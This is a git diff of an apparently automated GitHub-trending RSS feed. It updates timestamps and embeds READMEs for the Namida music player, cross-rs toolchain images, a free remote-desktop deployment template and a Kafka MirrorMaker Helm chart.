18px; display:flex; vertical-align: middle; align-items: center; max-width: 100%;"> <img src="some stuff/namida.png" width="82" style="margin-right: 18px;">Namida </div></h1> <p>A Beautiful and Feature-rich Music &amp; Video Player with Youtube Support, Built in Flutter</p> <p><a href="https://github.com/flutter/flutter"><img src="https://img.shields.io/badge/Built%20in-Flutter-%23369FE7" alt=""> </a> <a href="https://t.me/namida_official"><img src="https://img.shields.io/badge/Telegram-Channel-blue?link=https%3A%2F%2Ft.me%2Fnamida_official" alt=""> </a> <a href="https://t.me/+FmdfsgKoGmM1ZGFk"><img src="https://img.shields.io/badge/Telegram-Chat-blue?link=https%3A%2F%2Ft.me%2F%2BFmdfsgKoGmM1ZGFk" alt=""> </a> <a href="https://discord.gg/WeY7DTVChT"><img src="https://img.shields.io/badge/Discord-Server-7B55C1?link=https%3A%2F%2Fdiscord.gg%2FWeY7DTVChT" alt=""> </a></p> <h1>Sections:</h1> <ul> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#-features">Features</a> <ul> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#library--indexing">Library &amp; Indexing</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#look--feel">Look &amp; Feel</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#streaming">Streaming</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#others">Others</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#some-additional-cool-features">Some additional cool features</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#video-integration">Video Integration</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#screenshots">Screenshots</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#usage-preview">Usage Preview</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#installation">Installation</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#permission-note">Permission Note</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#special-thanks">Special Thanks</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#donate">Donate</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#social">Social</a></li> <li><a href="https://raw.githubusercontent.com/namidaco/namida/main/#license">LICENSE</a></li> </ul> <h1>🎉 Features</h1> <ul> <li>Everything you might expect from a music player, in addition to the following:</li> </ul> <h2>Library &amp; Indexing</h2> <ul> <li>Powerful Indexer &amp; Tag Editor, powered by @jaudiotagger.</li> <li>Artists and Genres Separators.</li> <li>Prevent Duplicated Tracks.</li> <li>Set Minimum File Size &amp; Duration.</li> <li>Folders-based Library system, with the ability to exclude folders as well.</li> <li>Sort by almost any property of the track or the album.. etc.</li> </ul> <h2>Look &amp; Feel</h2> <ul> <li>Material3-like Theme.</li> <li>Dynamic Theming, Player Colors are picked from the current album artwork.</li> <li>Home, Tracks, Albums, Artists, Genres, Playlists, Queues and Folders Pages.</li> <li>Waveform Seekbar.</li> <li>Lots of customizations (check out <a href="https://raw.githubusercontent.com/namidaco/namida/main/#customization-settings">customization section</a>).</li> </ul> <h2>Streaming</h2> <ul> <li>Best Video &amp; Audio Quality</li> <li>Audio Only Mode</li> <li>Support Caching &amp; Offline Playback</li> <li>Support Downloads</li> <li>Video View with gestures support (swipe to control volume, double tap to seek, swipe up/pinch in to enter fullscreen, etc)</li> <li>Edit tags for downloads</li> <li>Optional Auto title/artist/album extraction for downloads and scrobbling</li> </ul> <h2>Others:</h2> <ul> <li>Sleep Timer (Tracks or Minutes)</li> <li>Play/Pause Fade Effect, along with Skip Silence.</li> <li>Control pausing scenarios (calls, notifications, volume 0, etc..)</li> <li>Define parameters to use for filtering tracks in search lists.</li> <li>Global Tracks Selection <ul> <li>allows u to select from multiple places into the same list.</li> </ul> </li> <li>Never miss your sessions! <ul> <li>persistent and reliable queue system, your sessions are saved for later usage.</li> </ul> </li> <li>Reliable History System <ul> <li>despite being a flexible system (easily modified, manipulated, imported), it lets u specifiy minimum seconds/percentage to count a listen.</li> </ul> </li> <li>Most Played Playlist <ul> <li>find out your top tracks based on your history record.</li> </ul> </li> </ul> <h2>Some additional cool features:</h2> <ul> <li>Smort Tracks Generation: <ul> <li>uuh.. with dis advanced algorithm brought for you, u can generate tracks related to one you currently listening to, typically the ones that you often listened to in the same period. based on your history.</li> <li>also u can generate tracks released around the same time, or from specific range of time, from ratings, from available moods, or randomly.</li> </ul> </li> <li>Animating Thumbnail: <ul> <li>A thumbnail that animates with the current audio peak, looks cool.</li> </ul> </li> <li>Miniplayer Party Mode: <ul> <li>Applies an edge breathing effect, colors can be static or dynamic (all the colors extracted from the artwork)</li> </ul> </li> <li>Particles Effect <ul> <li>they speed up with the audio peak too</li> </ul> </li> <li>Track Play Mode <ul> <li>when playing from search, you can selected wether to play: selected track only, search results, album, first artist or first genre.</li> </ul> </li> <li>Insert after latest inserted <ul> <li>Want to insert multiple tracks one after each other? this will get your back.</li> </ul> </li> <li>Repeat for N times <ul> <li>in addition to normal repeat modes (all, none, one), this one lets you repeat the track for number of times before playing the next track.</li> </ul> </li> <li>Extract feat. &amp; ft. artist <ul> <li>u won't miss the featured artists in the title, they'll have their own entry inside artists tab.</li> </ul> </li> <li> <p>CAN IMPORT YOUTUBE HISTORY <img src="some stuff/ong.png" width="16" height="16/"></p> </li> <li> <p>LASTFM TOO AND MAYBE MORE IN FUTURE <img src="some stuff/yoowhat.gif" width="16" height="16/"></p> </li> <li>you gonna find decent amount of options/customizations in the settings and inside dialogs so make sure to check them out.</li> </ul> <h1>Video Integration</h1> <ul> <li>For Local Library, Namida is capable of playing videos related to the music, Video can be found either locally or fetched from youtube</li> </ul> <details> <summary> <h6>How locally?</h6> </summary> typically looks (inside the folders you specificed) for any matching title, matching goes as following: <br> -- Alan walker - Faded.m4a <br> -- video alAn WaLkER - faDed (480p).mp4 <br> the video filename should contain at least one of the following: <br> 1. the music filename as shown above. <br> 2. title &amp; first artist of the track. <br> note: some cleanup is made to improve the matching, all symbols &amp; whitespaces are ignored. </details> <details> <summary> <h6>How youtube?</h6> </summary> • looks up in the track comment tag (as they are mostly done by @yt-dlp) or filename for any matching youtube link, if found then it starts downloading (and caches) and plays once it's ready, streaming here isn't a good idea as the priority goes for the music file itself. </details> <h1>Screenshots</h1> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/collection_light_1.jpg" class="imgbr"> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/collection_light_2.jpg" class="imgbr"> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/collection_dark_1.jpg" class="imgbr"> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/collection_dark_2.jpg" class="imgbr"> <details> <summary> <h3>Customization Settings</h3> </summary> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/customization_settings.jpg" class="imgbr" width="50%"> </details> <details> <summary> <h3>YouTube Miniplayer</h3> </summary> <img src="https://raw.githubusercontent.com/namidaco/namida/main/screens/yt_miniplayer.png" class="imgbr" width="50%"> </details> <br> <h3>Usage Preview</h3> <table> <thead> <tr> <th align="center">Animating Thumbnail</th> <th align="center">Recommends &amp; Listens</th> </tr> </thead> <tbody> <tr> <td align="center"> <video src="https://github.com/namidaco/namida/assets/85245079/da47c270-9f45-4ff5-a08e-e99e4b7ebb7c.mp4"></video></td> <td align="center"> <video src="https://github.com/namidaco/namida/assets/85245079/72e978b3-6e15-4b4e-948a-03b470802b30.mp4"></video></td> </tr> </tbody> </table> <h1>Installation</h1> <ul> <li>Download latest version from <a href="https://github.com/namidaco/namida/releases">releases</a> page</li> <li>Available variants are arm &amp; arm64</li> </ul> <h3>Permission Note:</h3> <h5>the following actions require <span><code>all_files_access</code></span> permission (requested when needed)</h5> <blockquote> <ul> <li>editing audio tags</li> <li>creating or restoring backups</li> <li>saving artworks</li> <li>compressing images</li> <li>downloading youtube content</li> <li>playing tracks from a root folder</li> </ul> </blockquote> <h3>Special Thanks:</h3> <blockquote> <ul> <li><a href="https://github.com/Artx-II">@Artx-II</a> for their initial dart port of Newpipe Extractor, which powers youtube section.</li> <li><a href="https://github.com/cameralis">@cameralis</a> for their awesome miniplayer physics.</li> <li><a href="https://github.com/alexmercerind">@alexmercerind</a> for helping me out a lot.</li> <li><a href="https://github.com/lusaxweb">@lusaxweb</a> for their awesome Iconsax icon pack.</li> <li>All packages' maintainers which made namida possible. <br></li> </ul> </blockquote> <blockquote> <h3>© Logo by @midjourney</h3> </blockquote> <h1>Donate</h1> <ul> <li>Donation will help improve namida and will show appreciation.</li> </ul> <p><a href="https://www.buymeacoffee.com/namidaco" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 42px;"></a></p> <p><a href="https://ko-fi.com/U7U0PF2L5"><img src="https://ko-fi.com/img/githubbutton_sm.svg?sanitize=true" alt="ko-fi"></a></p> <ul> <li>Don't forget to 🌟 star the repo if you like the project.</li> </ul> <h1>Social</h1> <ul> <li>join us on our platforms for updates, tips, discussion &amp; ideas <ul> <li><a href="https://t.me/namida_official">Telegram (Updates)</a></li> <li><a href="https://t.me/+FmdfsgKoGmM1ZGFk">Telegram (Chat)</a></li> <li><a href="https://discord.gg/WeY7DTVChT">Discord</a></li> </ul> </li> </ul> <h1>LICENSE</h1> <p>Project is licensed under <a href="https://github.com/namidaco/namida/raw/main/LICENSE">EULA</a> License.</p> <pre><code>© Copyright (C) 2023-present Namidaco &lt;namida.coo@gmail.com&gt; - You may read/compile/modify the code for your personal usage, or for the purpose of contribution for the software. - Redistributing the program as a whole under different name or license without permission is not allowed. </code></pre> - - \ No newline at end of file diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml index 8bd136ba040..36c21280390 100644 --- a/dataweave/daily/index.xml +++ b/dataweave/daily/index.xml @@ -1,7 +1,7 @@ GitHub DataWeave Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:56Z + 2023-10-30T01:26:41Z Daily Trending of DataWeave in GitHub \ No newline at end of file diff --git a/dataweave/weekly/index.xml b/dataweave/weekly/index.xml deleted file mode 100644 index a0af88639c1..00000000000 --- a/dataweave/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DataWeave Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:02Z - Weekly Trending of DataWeave in GitHub - - \ No newline at end of file diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml index 98ba5d24c06..ac65926beff 100644 --- a/debian-package-control-file/daily/index.xml +++ b/debian-package-control-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Debian Package Control File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:55Z + 2023-10-30T01:26:40Z Daily Trending of Debian Package Control File in GitHub \ No newline at end of file diff --git a/debian-package-control-file/weekly/index.xml b/debian-package-control-file/weekly/index.xml deleted file mode 100644 index 0018eef0b99..00000000000 --- a/debian-package-control-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Debian Package Control File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:03Z - Weekly Trending of Debian Package Control File in GitHub - - \ No newline at end of file diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml index ba3c8f3cc5a..20eb1804aea 100644 --- a/denizenscript/daily/index.xml +++ b/denizenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub DenizenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:54Z + 2023-10-30T01:26:40Z Daily Trending of DenizenScript in GitHub \ No newline at end of file diff --git a/denizenscript/weekly/index.xml b/denizenscript/weekly/index.xml deleted file mode 100644 index e2fb7013d41..00000000000 --- a/denizenscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DenizenScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:01Z - Weekly Trending of DenizenScript in GitHub - - \ No newline at end of file diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml index 073ce2c0841..5c76171e7fd 100644 --- a/desktop/daily/index.xml +++ b/desktop/daily/index.xml @@ -1,7 +1,7 @@ GitHub desktop Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:06Z + 2023-10-30T01:26:49Z Daily Trending of desktop in GitHub \ No newline at end of file diff --git a/desktop/weekly/index.xml b/desktop/weekly/index.xml deleted file mode 100644 index c83408b5d1f..00000000000 --- a/desktop/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub desktop Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:15Z - Weekly Trending of desktop in GitHub - - \ No newline at end of file diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml index 9f00eebdd0a..eef7e1a2183 100644 --- a/dhall/daily/index.xml +++ b/dhall/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dhall Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:07Z + 2023-10-30T01:26:51Z Daily Trending of Dhall in GitHub \ No newline at end of file diff --git a/dhall/weekly/index.xml b/dhall/weekly/index.xml deleted file mode 100644 index b072ce100ee..00000000000 --- a/dhall/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dhall Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:16Z - Weekly Trending of Dhall in GitHub - - \ No newline at end of file diff --git a/diff/daily/index.xml b/diff/daily/index.xml index 44a5fb09edc..ed69a81b6c5 100644 --- a/diff/daily/index.xml +++ b/diff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Diff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:08Z + 2023-10-30T01:26:49Z Daily Trending of Diff in GitHub \ No newline at end of file diff --git a/diff/weekly/index.xml b/diff/weekly/index.xml deleted file mode 100644 index 8b3dedf30ba..00000000000 --- a/diff/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Diff Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:17Z - Weekly Trending of Diff in GitHub - - \ No newline at end of file diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml index c250c4d7a8d..fc7796b6395 100644 --- a/digital-command-language/daily/index.xml +++ b/digital-command-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub DIGITAL Command Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:09Z + 2023-10-30T01:26:50Z Daily Trending of DIGITAL Command Language in GitHub \ No newline at end of file diff --git a/digital-command-language/weekly/index.xml b/digital-command-language/weekly/index.xml deleted file mode 100644 index eb24fd224b6..00000000000 --- a/digital-command-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DIGITAL Command Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:18Z - Weekly Trending of DIGITAL Command Language in GitHub - - \ No newline at end of file diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml index 71cc8d0e94a..cc858b72555 100644 --- a/dircolors/daily/index.xml +++ b/dircolors/daily/index.xml @@ -1,7 +1,7 @@ GitHub dircolors Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:11Z + 2023-10-30T01:26:52Z Daily Trending of dircolors in GitHub \ No newline at end of file diff --git a/dircolors/weekly/index.xml b/dircolors/weekly/index.xml deleted file mode 100644 index 5ae361c2913..00000000000 --- a/dircolors/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub dircolors Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:23Z - Weekly Trending of dircolors in GitHub - - \ No newline at end of file diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml index a58d4915761..598198dc6eb 100644 --- a/directx-3d-file/daily/index.xml +++ b/directx-3d-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub DirectX 3D File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:10Z + 2023-10-30T01:26:54Z Daily Trending of DirectX 3D File in GitHub \ No newline at end of file diff --git a/directx-3d-file/weekly/index.xml b/directx-3d-file/weekly/index.xml deleted file mode 100644 index 6310198f87f..00000000000 --- a/directx-3d-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DirectX 3D File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:22Z - Weekly Trending of DirectX 3D File in GitHub - - \ No newline at end of file diff --git a/dm/daily/index.xml b/dm/daily/index.xml index 7386ab92637..9af0910ab98 100644 --- a/dm/daily/index.xml +++ b/dm/daily/index.xml @@ -1,7 +1,7 @@ GitHub DM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:13Z + 2023-10-30T01:26:54Z Daily Trending of DM in GitHub \ No newline at end of file diff --git a/dm/weekly/index.xml b/dm/weekly/index.xml deleted file mode 100644 index 2e4ba736703..00000000000 --- a/dm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:21Z - Weekly Trending of DM in GitHub - - \ No newline at end of file diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml index 38faab8323b..d8dde7936d7 100644 --- a/dns-zone/daily/index.xml +++ b/dns-zone/daily/index.xml @@ -1,7 +1,7 @@ GitHub DNS Zone Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:12Z + 2023-10-30T01:26:52Z Daily Trending of DNS Zone in GitHub \ No newline at end of file diff --git a/dns-zone/weekly/index.xml b/dns-zone/weekly/index.xml deleted file mode 100644 index 5f8165de877..00000000000 --- a/dns-zone/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DNS Zone Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:19Z - Weekly Trending of DNS Zone in GitHub - - \ No newline at end of file diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml index 72a90a8fda2..189a44f58f9 100644 --- a/dockerfile/daily/index.xml +++ b/dockerfile/daily/index.xml @@ -1,14 +1,14 @@ GitHub Dockerfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:19Z + 2023-10-30T01:26:59Z Daily Trending of Dockerfile in GitHub - cross-rs/cross-toolchains - 2023-10-29T01:30:19Z - tag:github.com,2023-10-29:/cross-rs/cross-toolchains - - <p>Additional Dockerfiles and crosstool-ng config files to build additional toolchains.</p><hr><h1><code>cross-toolchains</code></h1> <p>Additional Dockerfiles and crosstool-ng config files to build images for additional targets. These enable the use of additional targets, and different glibc or GCC versions.</p> <p>First, clone <a href="https://github.com/cross-rs/cross">cross</a> and update the submodules.</p> <pre><code class="language-bash">git clone https://github.com/cross-rs/cross cd cross git submodule update --init --remote </code></pre> <p>Then, you can build your images as shown in <a href="https://raw.githubusercontent.com/cross-rs/cross-toolchains/main/#targets">Targets</a>.</p> <blockquote> <p>ℹ️ These images are not tested with CI, and therefore may break. Issues or pull requests to fix broken images are greatly appreciated. Each image is only confirmed to at least build once.</p> </blockquote> <h2>Configure</h2> <p>The config files are configured via <code>cargo xtask configure-crosstool</code>, which may be customized by the following flags/environment variables:</p> <ul> <li><code>--gcc-version</code>, <code>GCC_VERSION</code>: The GCC version (default <code>8.3.0</code>)</li> <li><code>--glibc-version</code>, <code>GLIBC_VERSION</code>: The glibc version (default <code>2.17</code>)</li> <li><code>--linux-version</code>, <code>LINUX_VERSION</code>: The Linux version (default <code>4.19.21</code>)</li> </ul> <p>If no targets are provided, all crosstool images will be configured, otherwise, only the selected targets will be built. For example:</p> <pre><code class="language-bash"># only configure the config file for a single target $ cargo xtask configure-crosstool arm-unknown-linux-gnueabihf # configure all config files for crosstool images $ cargo xtask configure-crosstool </code></pre> <h2>Targets</h2> <p>The image names don't map identically to the target names, to avoid conflicting with those provided in the <a href="https://github.com/cross-rs/cross">cross</a> repository. This table maps the target names to the image names:</p> <table> <thead> <tr> <th align="center">Target Name</th> <th align="center">Image Name</th> </tr> </thead> <tbody> <tr> <td align="center">aarch64-apple-darwin</td> <td align="center">aarch64-apple-darwin-cross</td> </tr> <tr> <td align="center">aarch64-apple-ios</td> <td align="center">aarch64-apple-ios-cross</td> </tr> <tr> <td align="center">aarch64-pc-windows-msvc</td> <td align="center">aarch64-pc-windows-msvc-cross</td> </tr> <tr> <td align="center">aarch64_be-unknown-linux-gnu</td> <td align="center">aarch64_be-unknown-linux-gnu-cross</td> </tr> <tr> <td align="center">i686-apple-darwin</td> <td align="center">i686-apple-darwin-cross</td> </tr> <tr> <td align="center">i686-pc-windows-msvc</td> <td align="center">i686-pc-windows-msvc-cross</td> </tr> <tr> <td align="center">s390x-unknown-linux-gnu</td> <td align="center">s390x-unknown-linux-gnu-cross</td> </tr> <tr> <td align="center">thumbv7a-pc-windows-msvc</td> <td align="center">thumbv7a-pc-windows-msvc-cross</td> </tr> <tr> <td align="center">thumbv7neon-unknown-linux-musleabihf</td> <td align="center">thumbv7neon-unknown-linux-musleabihf-cross</td> </tr> <tr> <td align="center">x86_64-apple-darwin</td> <td align="center">x86_64-apple-darwin-cross</td> </tr> <tr> <td align="center">x86_64-pc-windows-msvc</td> <td align="center">x86_64-pc-windows-msvc-cross</td> </tr> <tr> <td align="center">x86_64-unknown-linux-gnu</td> <td align="center">x86_64-unknown-linux-gnu-sde-cross</td> </tr> </tbody> </table> <p>For example, to build and run an image, you would configure the image with:</p> <pre><code class="language-bash">cargo build-docker-image s390x-unknown-linux-gnu-cross --tag local </code></pre> <p>And then update <code>Cross.toml</code> in your crate to specify the target:</p> <pre><code class="language-toml">[target.s390x-unknown-linux-gnu] image = "ghcr.io/cross-rs/s390x-unknown-linux-gnu-cross:local" </code></pre> <p>Additional config files for any <a href="https://doc.rust-lang.org/rustc/platform-support.html">supported platforms</a> are appreciated. Please note that many of these images are tier 3 targets, and do not have pre-built versions of the standard library. You must provide the <code>build-std</code> <a href="https://github.com/cross-rs/cross/wiki/Configuration">config</a> option when building crates requiring <code>std</code> support.</p> <h1>Apple Targets</h1> <p>Due to licensing <a href="https://www.apple.com/legal/sla/docs/xcode.pdf">reasons</a>, we cannot provide images of <code>*-apple-darwin</code> targets, nor host the macOS SDK. osxcross has instructions for how to package the <a href="https://github.com/tpoechtrager/osxcross#packaging-the-sdk">sdk</a>, which you can then provide to the Docker image as either a local file or download link. Pre-packaged tarballs can also be found online, however, for legal reasons, we do not provide links here.</p> <h3>Darwin Targets</h3> <p>You can provide either a download URL or a path to a local file when building:</p> <pre><code class="language-bash">$ cargo build-docker-image i686-apple-darwin-cross \ --build-arg 'MACOS_SDK_URL=$URL' $ cargo build-docker-image i686-apple-darwin-cross \ --build-arg 'MACOS_SDK_DIR=$DIR' \ --build-arg 'MACOS_SDK_FILE=$FILE' </code></pre> <p>If not provided, <code>MACOS_SDK_DIR</code> defaults to the build context of the Dockerfile. <code>MACOS_SDK_FILE</code> <em>must</em> be a file within this repository's <code>docker/</code> folder. It also <em>must</em> keep the name given by osxcross, as version checks otherwise fail. For example:</p> <pre><code class="language-bash">$ mv osxcross/MacOSX11.3.sdk.tar.xz cross-toolchains/docker/MacOSX11.3.sdk.tar.xz $ cargo build-docker-image aarc64-apple-darwin \ --build-arg 'MACOS_SDK_FILE=MacOSX11.3.sdk.tar.xz' # or $ mv osxcross/MacOSX11.3.sdk.tar.xz cross-toolchains/docker/some-dir/MacOSX11.3.sdk.tar.xz $ cargo build-docker-image aarc64-apple-darwin \ --build-arg 'MACOS_SDK_DIR=some-dir' \ --build-arg 'MACOS_SDK_FILE=MacOSX11.3.sdk.tar.xz' </code></pre> <p>Supported targets by SDK version (at least 10.7+):</p> <ul> <li><code>i686-apple-darwin</code>: SDK &lt;= 10.13</li> <li><code>x86_64-apple-darwin</code>: SDK &lt;= 13.0 or SDK &lt;= 12.4</li> <li><code>aarc64-apple-darwin</code>: SDK &gt;= 10.16 and (SDK &lt;= 13.0 or SDK &lt;= 12.4)</li> </ul> <h3>iOS Targets</h3> <p>You can provide either a download URL or a path to a local file when building:</p> <pre><code class="language-bash">$ cargo build-docker-image aarch64-apple-ios-cross \ --build-arg 'IOS_SDK_URL=$URL' $ cargo build-docker-image aarch64-apple-ios-cross \ --build-arg 'IOS_SDK_DIR=$DIR' \ --build-arg 'IOS_SDK_FILE=$FILE' </code></pre> <p>If not provided, <code>IOS_SDK_DIR</code> defaults to the build context of the Dockerfile. Note that this file must be a subdirectory of the build context.</p> <p>Supported targets by SDK version (at least 9.3+):</p> <ul> <li><code>aarch64-apple-ios</code>: any SDK version</li> <li><code>armv7-apple-ios</code>: not supported</li> <li><code>armv7s-apple-ios</code>: not supported</li> <li><code>i686-apple-ios</code>: not supported</li> <li><code>x86_64-apple-ios</code>: not supported</li> </ul> <h2>Known Issues</h2> <ul> <li>Older toolchains, such as GCC v4.9.4, do not work with the hardcoded ISL v0.20.</li> <li>s390x toolchains cannot be built with glibc below v2.20, due to missing symbols in <code>nptl/sysdeps/s390/tls.h</code>.</li> <li>aarch64_be toolchains cannot be built with older glibc versions, due relocations (tested to work in v2.31, failed in v2.20).</li> <li>MSVC and iOS targets may fail with more complex build systems, such as OpenSSL. macOS targets have no issues.</li> </ul> <h2>Code of Conduct</h2> <p>Contribution to this crate is organized under the terms of the <a href="https://raw.githubusercontent.com/cross-rs/cross-toolchains/main/CODE_OF_CONDUCT.md">Rust Code of Conduct</a>, the maintainer of this crate, the <a href="https://github.com/cross-rs">cross-rs</a> team, promises to intervene to uphold that code of conduct.</p> + ekefddfjoeroe/Railway-RDP + 2023-10-30T01:26:59Z + tag:github.com,2023-10-30:/ekefddfjoeroe/Railway-RDP + + <p></p><hr><h1>FREE RDP LIFETIME!!!</h1> <h3>Specification</h3> <ol> <li> <p>7 GB of RAM 💽</p> </li> <li> <p>1.2 TB Storage 💾</p> </li> <li> <p>Up to 100Gbps of speed 🚀</p> </li> <li> <p>69 Core CPU 🚥</p> </li> <li> <p>Google Cloud Technology 🌐</p> </li> </ol> <h1>Deploy in Heroku</h1> <p><a href="https://heroku.com/deploy?template=https://github.com/IQOOZ75G/xfce4-noVNC"><img src="https://www.herokucdn.com/deploy/button.svg?sanitize=true" alt="Deploy"></a></p> <h1>Deploy in Railway</h1> <p><a href="https://railway.app/template/hIYfl_?referralCode=Hp0ex6"><img src="https://railway.app/button.svg?sanitize=true" alt="Deploy"></a></p> <h1>ENV</h1> <p>NGROK_APIKEY</p> <h1>Screenshot</h1> <p>Ngrok</p> <img src="https://raw.githubusercontent.com/ekefddfjoeroe/Railway-RDP/master/image/1.png"> <br> <br> <br> <p>VNC VIEWER</p> <img src="https://raw.githubusercontent.com/ekefddfjoeroe/Railway-RDP/master/image/2.png"> <br> <br> <br> <p>DESKTOP</p> <img src="https://raw.githubusercontent.com/ekefddfjoeroe/Railway-RDP/master/image/3.png"> \ No newline at end of file diff --git a/dockerfile/weekly/index.xml b/dockerfile/weekly/index.xml deleted file mode 100644 index 1c9ca7955b3..00000000000 --- a/dockerfile/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Dockerfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:29Z - Weekly Trending of Dockerfile in GitHub - - - ops-guru/og-helm-kafka-mm - 2023-10-29T01:50:29Z - tag:github.com,2023-10-29:/ops-guru/og-helm-kafka-mm - - <p>Helm Chart to deploy and run Kafka MirrorMaker on Kubernetes - https://www.opsguru.io</p><hr><h1>Kafka MirrorMaker Helm Chart</h1> <p>Helm Chart for Production Grade Kafka MirrorMaker deployment on Kubernetes inspired by Confluent Helm charts (<a href="https://github.com/confluentinc/cp-helm-charts">https://github.com/confluentinc/cp-helm-charts</a>)</p> <h2>Pre-requirements:</h2> <ul> <li>Kubectl</li> <li>GKE Cluster (Kubernetes 1.9.2+)</li> <li>Helm 2.8.2+</li> <li>A healthy and accessible Kafka Cluster</li> </ul> <h2>Deployment on GKE:</h2> <pre><code class="language-console">// create cluster gcloud container clusters create test gcloud container clusters get-credentials test //initialise helm helm init // override helm issue with rbac kubectl create serviceaccount --namespace kube-system tiller kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller kubectl patch deploy --namespace kube-system tiller-deploy -p '{"spec":{"template":{"spec":{"serviceAccount":"tiller"}}}}' //deploy mirrormaker helm install --set kafka.consumerConfig.bootstrap\.servers="dev3-kafka:9092",kafka.producerConfig.bootstrap\.servers="dev4-kafka:9092" ./og-kafka-mm/ </code></pre> <h2>Docker Image Source:</h2> <ul> <li><a href="https://hub.docker.com/u/opsguruhub/">DockerHub -&gt; opsguruhub</a></li> </ul> <p>(Also included in <code>./docker-src</code>)</p> <h3>Kafka MirrorMaker Deployment</h3> <p>The configuration parameters in this section control the resources requested and utilized by the <code>og-kafka-mm</code> chart.</p> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>replicaCount</code></td> <td>The number of Kafka Kafka MirrorMaker Servers.</td> <td><code>1</code></td> </tr> </tbody> </table> <h3>Image</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>image</code></td> <td>Docker Image of Kafka MirrorMaker.</td> <td><code>opsguruhub/og-kafka-mm</code></td> </tr> <tr> <td><code>imageTag</code></td> <td>Docker Image 